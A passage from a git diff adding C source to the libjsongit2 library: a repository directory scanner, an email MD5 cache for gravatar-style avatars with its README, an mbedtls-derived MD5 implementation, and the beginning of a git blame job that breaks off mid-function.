+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include "../private.h"
+
+#include <string.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <dirent.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+
+#define lp_to_rei(p, _n) list_ptr_container(p, struct repo_entry_info, _n)
+
+static int
+rei_alpha_sort(list_ptr a, list_ptr b)
+{
+	struct repo_entry_info *p1 = lp_to_rei(a, next),
+			       *p2 = lp_to_rei(b, next);
+
+	return strcmp((const char *)(p1 + 1), (const char *)(p2 + 1));
+}
+
+int
+jg2_conf_scan_repos(struct jg2_vhost *vh)
+{
+	char *name, filepath[256], *p;
+	struct repo_entry_info *rei;
+	int alen, m, ret = -1;
+	git_repository *repo;
+	struct dirent *de;
+	struct stat s;
+	DIR *dir;
+
+	dir = opendir(vh->cfg.repo_base_dir);
+	if (!dir) {
+		lwsl_err("Unable to walk repo dir '%s'\n",
+			 vh->cfg.repo_base_dir);
+		return -1;
+	}
+
+	pthread_mutex_lock(&vh->lock); /* ======================== vhost lock */
+
+	do {
+		de = readdir(dir);
+		if (!de)
+			break;
+
+		lws_snprintf(filepath, sizeof(filepath), "%s/%s",
+			     vh->cfg.repo_base_dir, de->d_name);
+
+		if (stat(filepath, &s))
+			continue;
+
+		if (!S_ISDIR(s.st_mode))
+			continue;
+
+		m = strlen(de->d_name);
+		if (m <= 4 || strcmp(de->d_name + m - 4, ".git"))
+			continue;
+
+		/* this cannot be served, so hide it */
+		if (!strcmp(de->d_name, "gitolite-admin.git"))
+			continue;
+
+		lwsl_notice("%s: %s\n", __func__, filepath);
+
+		if (git_repository_open_ext(&repo, filepath, 0, NULL)) {
+			if (giterr_last())
+				giterr_clear();
+			continue;
+		}
+
+		if (giterr_last())
+			giterr_clear();
+
+		/* just compute the size of the config elements */
+		alen = jg2_get_repo_config(repo, NULL, NULL);
+
+		/* allocate the whole area at once */
+		rei = lac_use(&vh->rei_lac_head, sizeof(*rei) + m + alen, 0);
+		if (!rei) {
+			git_repository_free(repo);
+			goto bail;
+		}
+
+		/* copy the name in; lac is already advanced + aligned */
+		p = name = (char *)(rei + 1);
+		memcpy(name, de->d_name, m - 4);
+		name[m - 4] = '\0';
+		p += m - 3;
+		rei->name_len = m - 3;
+		rei->acl_len = 0; /* no restriction on this vhost */
+		rei->conf_len[0] = rei->conf_len[1] = rei->conf_len[2] = 0;
+
+		/* place the config elements */
+		jg2_get_repo_config(repo, rei, p);
+
+		list_ptr_insert(&vh->rei_head, &rei->next, rei_alpha_sort);
+
+		git_repository_free(repo);
+
+	} while (de);
+
+	ret = 0;
+
+bail:
+	pthread_mutex_unlock(&vh->lock); /*--------------------- vhost unlock */
+
+	closedir(dir);
+
+	return ret;
+}
diff --git a/lib/email/README.md b/lib/email/README.md
new file mode 100644
index 0000000..d321e78
--- /dev/null
+++ b/lib/email/README.md
@@ -0,0 +1,11 @@
+## Email md5 cache
+
+The vhost keeps a cache of computed md5s for a certain amount of recently-seen
+email addresses, for use with an avatar provider like gravatar.
+
+By default it's 16 hash bins each of depth 16, so the most recent 256 emails
+the vhost has seen.
+
+Each time an email is referenced, it is moved to the start of its hash bin;
+when the bins are full the least-recently seen email is replaced with a new
+reference.
diff --git a/lib/email/email.c b/lib/email/email.c
new file mode 100644
index 0000000..ef2f8d8
--- /dev/null
+++ b/lib/email/email.c
@@ -0,0 +1,174 @@
+/*
+ * libjg2 - email / md5 hashing
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include "../private.h"
+#include <libjsongit2.h>
+
+#include <string.h>
+
+static int
+__email_hash(struct jg2_vhost *vh, const char *email)
+{
+	int s = 0;
+
+	while (*email)
+		s += *email++;
+
+	return s % vh->cfg.email_hash_bins;
+}
+
+unsigned char *
+email_md5(struct jg2_vhost *vh, const char *email)
+{
+	struct jg2_email *p, *op = NULL, *oop = NULL, *ne;
+	int bin;
+
+	pthread_mutex_lock(&vh->lock); /* ======================== vhost lock */
+
+	bin = __email_hash(vh, email);
+
+	p = vh->bins[bin].first;
+
+	while (p) {
+		if (!(strcmp(p->email, email))) {
+			/*
+			 * every time we get a hit, move him to be "first" in
+			 * the linked-list, ie, quickest to find, and farthest
+			 * from getting replaced on the end
+			 */
+
+			if (vh->cfg.avatar)
+				vh->cfg.avatar(vh->cfg.avatar_arg, p->md5);
+
+			if (!op) { /* he is first */
+				pthread_mutex_unlock(&vh->lock); /* vh unlock */
+				return p->md5;
+			}
+
+			op->next = p->next;
+			p->next = vh->bins[bin].first;
+			vh->bins[bin].first = p;
+
+			pthread_mutex_unlock(&vh->lock); /*----- vhost unlock */
+			return p->md5;
+		}
+
+		oop = op;
+		op = p;
+		p = p->next;
+	}
+
+	/* if the search failed, we naturally end up at the end of the ll */
+
+	if (vh->bins[bin].count < vh->cfg.email_hash_depth) {
+		/* create a new one */
+
+		vh->bins[bin].count++;
+		ne = malloc(sizeof(*ne));
+		if (!ne) {
+			pthread_mutex_unlock(&vh->lock); /*----- vhost unlock */
+			return NULL;
+		}
+	} else
+		/* replace the "last" one */
+
+		ne = op;
+
+	ne->next = NULL;
+	strncpy(ne->email, email, sizeof(ne->email) - 1);
+	ne->email[sizeof(ne->email) - 1] = '\0';
+
+	if (ne == op && oop) /* replacing existing, just move to front */
+		oop->next = op->next; /* should always be NULL */
+
+	/* adding new at front */
+	ne->next = vh->bins[bin].first;
+	vh->bins[bin].first = ne;
+
+	vh->cfg.md5_init(vh->md5_ctx);
+	vh->cfg.md5_upd(vh->md5_ctx, (unsigned char *)email, strlen(email));
+	vh->cfg.md5_fini(vh->md5_ctx, ne->md5);
+
+	if (vh->cfg.avatar)
+		vh->cfg.avatar(vh->cfg.avatar_arg, ne->md5);
+
+	pthread_mutex_unlock(&vh->lock); /*--------------------- vhost unlock */
+
+	return ne->md5;
+}
+
+int
+email_vhost_init(struct jg2_vhost *vh)
+{
+	size_t s;
+
+	/* adjust defaults left at 0 */
+
+	if (!vh->cfg.email_hash_bins)
+		vh->cfg.email_hash_bins = 16;
+
+	if (!vh->cfg.email_hash_depth)
+		vh->cfg.email_hash_depth = 16;
+
+	if (!vh->cfg.md5_alloc) {
+		/* use the inbuilt default */
+		vh->cfg.md5_alloc = jg2_md5_alloc;
+		vh->cfg.md5_init = jg2_md5_init;
+		vh->cfg.md5_upd = jg2_md5_upd;
+		vh->cfg.md5_fini = jg2_md5_fini;
+	}
+
+	vh->md5_ctx = vh->cfg.md5_alloc();
+
+	/* allocate the hash bin array */
+
+	s = sizeof(*vh->bins) * vh->cfg.email_hash_bins;
+	vh->bins = malloc(s);
+	if (!vh->bins)
+		return -1;
+
+	memset(vh->bins, 0, s);
+
+	return 0;
+}
+
+void
+email_vhost_deinit(struct jg2_vhost *vh)
+{
+	int n;
+
+	if (!vh->bins)
+		return;
+
+	for (n = 0; n < vh->cfg.email_hash_bins; n++) {
+		struct jg2_email *p = vh->bins[n].first, *p1;
+
+		while (p) {
+			p1 = p->next;
+			free(p);
+			p = p1;
+		}
+	}
+
+	free(vh->md5_ctx);
+
+	free(vh->bins);
+}
diff --git a/lib/email/md5.c b/lib/email/md5.c
new file mode 100644
index 0000000..273ed73
--- /dev/null
+++ b/lib/email/md5.c
@@ -0,0 +1,312 @@
+/*
+ *  Copyright (C) 2006-2015, ARM Limited, All Rights Reserved
+ *  SPDX-License-Identifier: Apache-2.0
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License"); you may
+ *  not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *  http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+
+#include <libjsongit2.h>
+
+#include <stdint.h>
+#include <stddef.h>
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+typedef struct {
+    uint32_t total[2];          /*!< number of bytes processed  */
+    uint32_t state[4];          /*!< intermediate digest state  */
+    unsigned char buffer[64];   /*!< data block being processed */
+} mbedtls_md5_context;
+
+/*
+ *  The MD5 algorithm was designed by Ron Rivest in 1991.
+ *
+ *  http://www.ietf.org/rfc/rfc1321.txt
+ */
+
+#define GET_UINT32_LE(n,b,i)                            \
+{                                                       \
+    (n) = ( (uint32_t) (b)[(i)    ]       )             \
+        | ( (uint32_t) (b)[(i) + 1] <<  8 )             \
+        | ( (uint32_t) (b)[(i) + 2] << 16 )             \
+        | ( (uint32_t) (b)[(i) + 3] << 24 );            \
+}
+
+#define PUT_UINT32_LE(n,b,i)                                    \
+{                                                               \
+    (b)[(i)    ] = (unsigned char) ( ( (n)       ) & 0xFF );    \
+    (b)[(i) + 1] = (unsigned char) ( ( (n) >>  8 ) & 0xFF );    \
+    (b)[(i) + 2] = (unsigned char) ( ( (n) >> 16 ) & 0xFF );    \
+    (b)[(i) + 3] = (unsigned char) ( ( (n) >> 24 ) & 0xFF );    \
+}
+
+static int
+mbedtls_internal_md5_process( mbedtls_md5_context *ctx,
+                              const unsigned char data[64] )
+{
+    uint32_t X[16], A, B, C, D;
+
+    GET_UINT32_LE( X[ 0], data,  0 );
+    GET_UINT32_LE( X[ 1], data,  4 );
+    GET_UINT32_LE( X[ 2], data,  8 );
+    GET_UINT32_LE( X[ 3], data, 12 );
+    GET_UINT32_LE( X[ 4], data, 16 );
+    GET_UINT32_LE( X[ 5], data, 20 );
+    GET_UINT32_LE( X[ 6], data, 24 );
+    GET_UINT32_LE( X[ 7], data, 28 );
+    GET_UINT32_LE( X[ 8], data, 32 );
+    GET_UINT32_LE( X[ 9], data, 36 );
+    GET_UINT32_LE( X[10], data, 40 );
+    GET_UINT32_LE( X[11], data, 44 );
+    GET_UINT32_LE( X[12], data, 48 );
+    GET_UINT32_LE( X[13], data, 52 );
+    GET_UINT32_LE( X[14], data, 56 );
+    GET_UINT32_LE( X[15], data, 60 );
+
+#define S(x,n) ((x << n) | ((x & 0xFFFFFFFF) >> (32 - n)))
+
+#define P(a,b,c,d,k,s,t)                                \
+{                                                       \
+    a += F(b,c,d) + X[k] + t; a = S(a,s) + b;           \
+}
+
+    A = ctx->state[0];
+    B = ctx->state[1];
+    C = ctx->state[2];
+    D = ctx->state[3];
+
+#define F(x,y,z) (z ^ (x & (y ^ z)))
+
+    P( A, B, C, D,  0,  7, 0xD76AA478 );
+    P( D, A, B, C,  1, 12, 0xE8C7B756 );
+    P( C, D, A, B,  2, 17, 0x242070DB );
+    P( B, C, D, A,  3, 22, 0xC1BDCEEE );
+    P( A, B, C, D,  4,  7, 0xF57C0FAF );
+    P( D, A, B, C,  5, 12, 0x4787C62A );
+    P( C, D, A, B,  6, 17, 0xA8304613 );
+    P( B, C, D, A,  7, 22, 0xFD469501 );
+    P( A, B, C, D,  8,  7, 0x698098D8 );
+    P( D, A, B, C,  9, 12, 0x8B44F7AF );
+    P( C, D, A, B, 10, 17, 0xFFFF5BB1 );
+    P( B, C, D, A, 11, 22, 0x895CD7BE );
+    P( A, B, C, D, 12,  7, 0x6B901122 );
+    P( D, A, B, C, 13, 12, 0xFD987193 );
+    P( C, D, A, B, 14, 17, 0xA679438E );
+    P( B, C, D, A, 15, 22, 0x49B40821 );
+
+#undef F
+
+#define F(x,y,z) (y ^ (z & (x ^ y)))
+
+    P( A, B, C, D,  1,  5, 0xF61E2562 );
+    P( D, A, B, C,  6,  9, 0xC040B340 );
+    P( C, D, A, B, 11, 14, 0x265E5A51 );
+    P( B, C, D, A,  0, 20, 0xE9B6C7AA );
+    P( A, B, C, D,  5,  5, 0xD62F105D );
+    P( D, A, B, C, 10,  9, 0x02441453 );
+    P( C, D, A, B, 15, 14, 0xD8A1E681 );
+    P( B, C, D, A,  4, 20, 0xE7D3FBC8 );
+    P( A, B, C, D,  9,  5, 0x21E1CDE6 );
+    P( D, A, B, C, 14,  9, 0xC33707D6 );
+    P( C, D, A, B,  3, 14, 0xF4D50D87 );
+    P( B, C, D, A,  8, 20, 0x455A14ED );
+    P( A, B, C, D, 13,  5, 0xA9E3E905 );
+    P( D, A, B, C,  2,  9, 0xFCEFA3F8 );
+    P( C, D, A, B,  7, 14, 0x676F02D9 );
+    P( B, C, D, A, 12, 20, 0x8D2A4C8A );
+
+#undef F
+
+#define F(x,y,z) (x ^ y ^ z)
+
+    P( A, B, C, D,  5,  4, 0xFFFA3942 );
+    P( D, A, B, C,  8, 11, 0x8771F681 );
+    P( C, D, A, B, 11, 16, 0x6D9D6122 );
+    P( B, C, D, A, 14, 23, 0xFDE5380C );
+    P( A, B, C, D,  1,  4, 0xA4BEEA44 );
+    P( D, A, B, C,  4, 11, 0x4BDECFA9 );
+    P( C, D, A, B,  7, 16, 0xF6BB4B60 );
+    P( B, C, D, A, 10, 23, 0xBEBFBC70 );
+    P( A, B, C, D, 13,  4, 0x289B7EC6 );
+    P( D, A, B, C,  0, 11, 0xEAA127FA );
+    P( C, D, A, B,  3, 16, 0xD4EF3085 );
+    P( B, C, D, A,  6, 23, 0x04881D05 );
+    P( A, B, C, D,  9,  4, 0xD9D4D039 );
+    P( D, A, B, C, 12, 11, 0xE6DB99E5 );
+    P( C, D, A, B, 15, 16, 0x1FA27CF8 );
+    P( B, C, D, A,  2, 23, 0xC4AC5665 );
+
+#undef F
+
+#define F(x,y,z) (y ^ (x | ~z))
+
+    P( A, B, C, D,  0,  6, 0xF4292244 );
+    P( D, A, B, C,  7, 10, 0x432AFF97 );
+    P( C, D, A, B, 14, 15, 0xAB9423A7 );
+    P( B, C, D, A,  5, 21, 0xFC93A039 );
+    P( A, B, C, D, 12,  6, 0x655B59C3 );
+    P( D, A, B, C,  3, 10, 0x8F0CCC92 );
+    P( C, D, A, B, 10, 15, 0xFFEFF47D );
+    P( B, C, D, A,  1, 21, 0x85845DD1 );
+    P( A, B, C, D,  8,  6, 0x6FA87E4F );
+    P( D, A, B, C, 15, 10, 0xFE2CE6E0 );
+    P( C, D, A, B,  6, 15, 0xA3014314 );
+    P( B, C, D, A, 13, 21, 0x4E0811A1 );
+    P( A, B, C, D,  4,  6, 0xF7537E82 );
+    P( D, A, B, C, 11, 10, 0xBD3AF235 );
+    P( C, D, A, B,  2, 15, 0x2AD7D2BB );
+    P( B, C, D, A,  9, 21, 0xEB86D391 );
+
+#undef F
+
+    ctx->state[0] += A;
+    ctx->state[1] += B;
+    ctx->state[2] += C;
+    ctx->state[3] += D;
+
+    return( 0 );
+}
+
+static int
+mbedtls_md5_update_ret( mbedtls_md5_context *ctx,
+                            const unsigned char *input,
+                            size_t ilen )
+{
+    int ret;
+    size_t fill;
+    uint32_t left;
+
+    if( ilen == 0 )
+        return( 0 );
+
+    left = ctx->total[0] & 0x3F;
+    fill = 64 - left;
+
+    ctx->total[0] += (uint32_t) ilen;
+    ctx->total[0] &= 0xFFFFFFFF;
+
+    if( ctx->total[0] < (uint32_t) ilen )
+        ctx->total[1]++;
+
+    if( left && ilen >= fill )
+    {
+        memcpy( (void *) (ctx->buffer + left), input, fill );
+        if( ( ret = mbedtls_internal_md5_process( ctx, ctx->buffer ) ) != 0 )
+            return( ret );
+
+        input += fill;
+        ilen  -= fill;
+        left = 0;
+    }
+
+    while( ilen >= 64 )
+    {
+        if( ( ret = mbedtls_internal_md5_process( ctx, input ) ) != 0 )
+            return( ret );
+
+        input += 64;
+        ilen  -= 64;
+    }
+
+    if( ilen > 0 )
+    {
+        memcpy( (void *) (ctx->buffer + left), input, ilen );
+    }
+
+    return( 0 );
+}
+
+static const unsigned char md5_padding[64] =
+{
+ 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
+};
+
+static int
+mbedtls_md5_finish_ret( mbedtls_md5_context *ctx,
+                        unsigned char output[16] )
+{
+    int ret;
+    uint32_t last, padn;
+    uint32_t high, low;
+    unsigned char msglen[8];
+
+    high = ( ctx->total[0] >> 29 )
+         | ( ctx->total[1] <<  3 );
+    low  = ( ctx->total[0] <<  3 );
+
+    PUT_UINT32_LE( low,  msglen, 0 );
+    PUT_UINT32_LE( high, msglen, 4 );
+
+    last = ctx->total[0] & 0x3F;
+    padn = ( last < 56 ) ? ( 56 - last ) : ( 120 - last );
+
+    if( ( ret = mbedtls_md5_update_ret( ctx, md5_padding, padn ) ) != 0 )
+            return( ret );
+
+    if( ( ret = mbedtls_md5_update_ret( ctx, msglen, 8 ) ) != 0 )
+            return( ret );
+
+    PUT_UINT32_LE( ctx->state[0], output,  0 );
+    PUT_UINT32_LE( ctx->state[1], output,  4 );
+    PUT_UINT32_LE( ctx->state[2], output,  8 );
+    PUT_UINT32_LE( ctx->state[3], output, 12 );
+
+    return( 0 );
+}
+
+/*
+ * these are the default per-vhost md5 implementation functions... they can
+ * be overridden in jg2 config at vhost creation time.
+ */
+
+jg2_md5_context
+jg2_md5_alloc(void)
+{
+	return malloc(sizeof(mbedtls_md5_context));
+}
+
+void
+jg2_md5_init(jg2_md5_context _ctx)
+{
+    mbedtls_md5_context *ctx = (mbedtls_md5_context *)_ctx;
+
+    memset(ctx, 0, sizeof(*ctx));
+
+    ctx->state[0] = 0x67452301;
+    ctx->state[1] = 0xEFCDAB89;
+    ctx->state[2] = 0x98BADCFE;
+    ctx->state[3] = 0x10325476;
+}
+
+int
+jg2_md5_upd(jg2_md5_context _ctx, const unsigned char *input, size_t ilen)
+{
+	mbedtls_md5_context *ctx = (mbedtls_md5_context *)_ctx;
+
+	return mbedtls_md5_update_ret(ctx, input, ilen);
+}
+
+int
+jg2_md5_fini(jg2_md5_context _ctx, unsigned char output[16])
+{
+	mbedtls_md5_context *ctx = (mbedtls_md5_context *)_ctx;
+	int ret;
+
+	ret = mbedtls_md5_finish_ret(ctx, output);
+
+	return ret;
+}
diff --git a/lib/email/private.h b/lib/email/private.h
new file mode 100644
index 0000000..7271cc9
--- /dev/null
+++ b/lib/email/private.h
@@ -0,0 +1,20 @@
+
+struct jg2_email {
+	struct jg2_email *next;
+	char email[64];
+	unsigned char md5[JG2_MD5_LEN];
+};
+
+struct jg2_email_hash_bin {
+	struct jg2_email *first;
+	int count;
+};
+
+int
+email_vhost_init(struct jg2_vhost *vhost);
+
+void
+email_vhost_deinit(struct jg2_vhost *vhost);
+
+unsigned char * /* may return NULL on OOM */
+email_md5(struct jg2_vhost *vhost, const char *email);
diff --git a/lib/job/blame.c b/lib/job/blame.c
new file mode 100644
index 0000000..672dc5d
--- /dev/null
+++ b/lib/job/blame.c
@@ -0,0 +1,545 @@
+/*
+ * libjsongit2 - blame
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ *
+ *
+ * Blame apis were only introduced in libgit2 v0.21.
+ *
+ * The blame apis show contiguous areas of lines as a hunk.  So if there was
+ * an introductory commit 1 and two edits in the middle, 2 and 3, it shows
+ * 1-2-1-3-1.
+ *
+ * Using a LAC we stitch this back into a list of commits, ordered by time,
+ * each having an array of discontiguous line ranges.  So we issue 1-2-3, but
+ * they're annotated with line range arrays.  This lets us highlight the
+ * footprint of a particular contributing commit as a unit, even if it is
+ * spread around the file.
+ *
+ * We also calculate a sorted list of contributors to the current file state,
+ * in order of the number of lines for each.  To avoid reiterating the
+ * identities again, since they are all by definition already mentioned in the
+ * hunk list, we just give the a hunk index with the right identity.
+ */
+
+#include "../private.h"
+
+#include <stdio.h>
+#include <string.h>
+
+#if LIBGIT2_HAS_BLAME
+#define lp_to_bhi(p, _n) list_ptr_container(p, struct blame_hunk_info, _n)
+#define lp_to_bli(p, _n) list_ptr_container(p, struct blame_line_range, _n)
+#endif
+
+static void
+job_blame_destroy(struct jg2_ctx *ctx)
+{
+#if LIBGIT2_HAS_BLAME
+	lac_free(&ctx->lac_head);
+	ctx->sorted_head = NULL;
+
+	if (ctx->blame) {
+		git_blame_free(ctx->blame);
+		ctx->blame = NULL;
+	}
+#endif
+	ctx->job = NULL;
+}
+
+#if LIBGIT2_HAS_BLAME
+
+static int
+bhi_uniq_fsig_sort(list_ptr a, list_ptr b)
+{
+	struct blame_hunk_info *p1 = lp_to_bhi(a, next_sort_fsig),
+			       *p2 = lp_to_bhi(b, next_sort_fsig);
+
+	return p2->count_lines_rep_acc - p1->count_lines_rep_acc;
+}
+
+static int
+bhi_date_sort(list_ptr a, list_ptr b)
+{
+	struct blame_hunk_info *p1 = lp_to_bhi(a, next),
+			       *p2 = lp_to_bhi(b, next);
+
+	return (int)(p1->final.when.time - p2->final.when.time);
+}
+
+static int
+job_blame_start(struct jg2_ctx *ctx)
+{
+	if (!ctx->hex_oid[0]) {
+		lwsl_err("no oid\n");
+		return 1;
+	}
+
+	if (!ctx->sr.e[JG2_PE_PATH])
+		return -1;
+
+	git_blame_init_options(&ctx->blame_opts, GIT_BLAME_OPTIONS_VERSION);
+	ctx->count = 0;
+
+#if defined(JG2_HAVE_BLAME_MAILMAP)
+	ctx->blame_opts.flags |= GIT_BLAME_USE_MAILMAP;
+#endif
+
+	if (ctx->hex_oid[0] == 'r') {
+		int e = git_reference_name_to_id(&ctx->blame_opts.newest_commit,
+						 ctx->jrepo->repo,
+						 ctx->hex_oid);
+		if (e < 0) {
+			lwsl_err("%s: unable to lookup ref '%s': %d\n",
+				 __func__, ctx->hex_oid, e);
+
+			return -1;
+		}
+	} else
+		if (git_oid_fromstr(&ctx->blame_opts.newest_commit,
+				    ctx->hex_oid)) {
+			lwsl_err("no oid from string\n");
+
+			return -1;
+		}
+
+	ctx->blame_opts.min_line = 1;
+
+	ctx->lac_head = NULL;
+	ctx->sorted_head = NULL;
+	ctx->pos = 0;
+
+	ctx->blame_init_phase = 1;
+
+	return 0;
+}
+
+static int
+job_blame_lines(struct jg2_ctx *ctx)
+{
+	struct blame_hunk_info *bhi, *b;
+	const git_blame_hunk *hunk;
+	struct blame_line_range *r;
+	int ord = 0;//, first = 1;
+	list_ptr lp;
+
+	// ctx->blame_opts.max_line = ctx->blame_opts.min_line + LINE_SET;
+	ctx->blame_opts.min_line = 0;
+
+	if (git_blame_file(&ctx->blame, ctx->jrepo->repo,
+			   ctx->sr.e[JG2_PE_PATH], &ctx->blame_opts)) {
+		lwsl_err("problem getting blame info\n");
+
+		return -1;
+	}
+
+	// ctx->blame_opts.min_line += LINE_SET;
+
+	/* process the blame chunks */
+
+	do {
+		hunk = git_blame_get_hunk_byindex(ctx->blame, ctx->count++);
+	//	if (ctx->blame_opts.min_line - LINE_SET < 2203)
+	//		first = 0;
+		if (!hunk)
+			continue;
+
+		//first = 0;
+		//ctx->count++;
+
+		/* does "hunk->final_commit_id" already exist on our list? */
+
+		bhi = NULL;
+		lp = ctx->sorted_head;
+		while (lp) {
+			bhi = lp_to_bhi(lp, next);
+
+			if (git_oid_equal(&bhi->hunk.final_commit_id,
+					  &hunk->final_commit_id))
+				break;
+
+			list_ptr_advance(lp);
+		}
+
+		/* if it didn't already exist, add it */
+
+		if (!lp) {
+			git_commit *orig_commit, *final_commit;
+			size_t len, s[7];
+			char *p;
+
+			if (git_commit_lookup(&orig_commit, ctx->jrepo->repo,
+					      &hunk->orig_commit_id)) {
+				lwsl_err("%s: Failed to find orig oid\n",
+					 __func__);
+
+				goto bail;
+			}
+
+			if (git_commit_lookup(&final_commit, ctx->jrepo->repo,
+					      &hunk->final_commit_id)) {
+				lwsl_err("%s: Failed to find final oid\n",
+					 __func__);
+
+				goto bail;
+			}
+
+			/*
+			 * So the orig + final signatures, and hunk->orig_path,
+			 * are given to us with temp pointers to the name and
+			 * email info.
+			 *
+			 * We need to serialize them into composed git_signature
+			 * members with the pointers fixed up to the copied
+			 * names.
+			 *
+			 * In addition, we want to store the commit summaries
+			 * for the original and final commit,
+			 *
+			 * [struct blame_hunk_info]
+			 * [orig sig name]   NUL (<- bhi.orig.name)
+			 * [orig sig email]  NUL (<- bhi.orig.email)
+			 * [final sig name]  NUL (<- bhi.final.name)
+			 * [final sig email] NUL (<- bhi.final.email)
+			 * [orig cmmt log]   NUL (<- bhi.orig_summary)
+			 * [final cmmt log]  NUL (<- bhi.final_summary)
+			 * [orig path]       NUL (<- bhi.hunk.orig_path)
+			 *
+			 * Compute the true total length first...
+			 */
+
+			s[0] = strlen(hunk->orig_signature->name) + 1;
+			s[1] = strlen(hunk->orig_signature->email) + 1;
+			s[2] = strlen(hunk->final_signature->name) + 1;
+			s[3] = strlen(hunk->final_signature->email) + 1;
+			s[4] = strlen(git_commit_summary(orig_commit)) + 1;
+			s[5] = strlen(git_commit_summary(final_commit)) + 1;
+			s[6] = strlen(hunk->orig_path) + 1;
+
+			len = sizeof(*bhi) +
+			      s[0] + s[1] + s[2] + s[3] + s[4] + s[5] + s[6];
+
+			bhi = lac_use(&ctx->lac_head, len, 0);
+			if (!bhi) {
+				lwsl_err("OOM\n");
+				lac_free(&ctx->lac_head);
+
+				return -1;
+			}
+
+			bhi->next_same_fsig = NULL;
+			bhi->next_uniq_fsig = NULL;
+			bhi->next_sort_fsig = NULL;
+			bhi->fsig_rep = NULL;
+			bhi->ordinal = 0;
+
+			p = (char *)(bhi + 1);
+			memcpy(&bhi->hunk, hunk, sizeof(*hunk));
+			bhi->orig = *hunk->orig_signature;
+			bhi->orig.name = p;
+			memcpy(p, hunk->orig_signature->name, s[0]);
+			p += s[0];
+			bhi->orig.email = p;
+			memcpy(p, hunk->orig_signature->email, s[1]);
+			p += s[1];
+
+			bhi->final = *hunk->final_signature;
+			bhi->final.name = p;
+			memcpy(p, hunk->final_signature->name, s[2]);
+			p += s[2];
+			bhi->final.email = p;
+			memcpy(p, hunk->final_signature->email, s[3]);
+			p += s[3];
+
+			bhi->orig_summary = p;
+			memcpy(p, git_commit_summary(orig_commit), s[4]);
+			p += s[4];
+			bhi->final_summary = p;
+			memcpy(p, git_commit_summary(final_commit), s[5]);
+			p += s[5];
+
+			bhi->hunk.orig_path = p;
+			memcpy(p, hunk->orig_path, s[6]);
+
+			git_commit_free(orig_commit);
+			git_commit_free(final_commit);
+
+			bhi->line_range_head = NULL;
+			/* tail is our head */
+			bhi->line_range_tail = &bhi->line_range_head;
+
+			bhi->count_line_ranges = 0;
+			bhi->count_lines = 0;
+			bhi->count_lines_rep_acc = 0;
+
+			/* insert him into the bhi list using date order */
+
+			list_ptr_insert(&ctx->sorted_head, &bhi->next,
+					bhi_date_sort);
+
+			/* Has his final sig already appeared? */
+
+			lp = ctx->head_uniq_fsig;
+			while (lp) {
+				b = lp_to_bhi(lp, next_uniq_fsig);
+				if (!strcmp(b->final.name, bhi->final.name) &&
+				    !strcmp(b->final.email, bhi->final.email)) {
+					/* add him to the list of same sig */
+					bhi->next_same_fsig = b->next_same_fsig;
+					b->next_same_fsig = bhi->next_same_fsig;
+					bhi->fsig_rep = b;
+					break;
+				}
+				lp = b->next_uniq_fsig;
+			}
+
+			if (!lp) {
+				/*
+				 * he has a unique final sig we didn't list yet,
+				 * add him to the unique fsig list
+				 */
+				bhi->next_uniq_fsig = ctx->head_uniq_fsig;
+				ctx->head_uniq_fsig = &bhi->next_uniq_fsig;
+				bhi->fsig_rep = bhi;
+			}
+		}
+
+		/*
+		 * so bhi now points to this logical hunk in our sorted list...
+		 * add this line range info to its list
+		 */
+
+		r = lac_use(&ctx->lac_head, sizeof(*r), 0);
+		r->next = NULL;
+		/* write our next's ads to last guy's next */
+		*((void **)bhi->line_range_tail) = &r->next;
+		/* last guy becomes us */
+		bhi->line_range_tail = &r->next;
+		bhi->count_line_ranges++;
+		bhi->count_lines += hunk->lines_in_hunk;
+
+		/*
+		 * also accumulate all line counts in the bhi representing our
+		 * unique final signature... so we can later sort the unique
+		 * contributors by the number of their lines in the file easily
+		 */
+		bhi->fsig_rep->count_lines_rep_acc += hunk->lines_in_hunk;
+
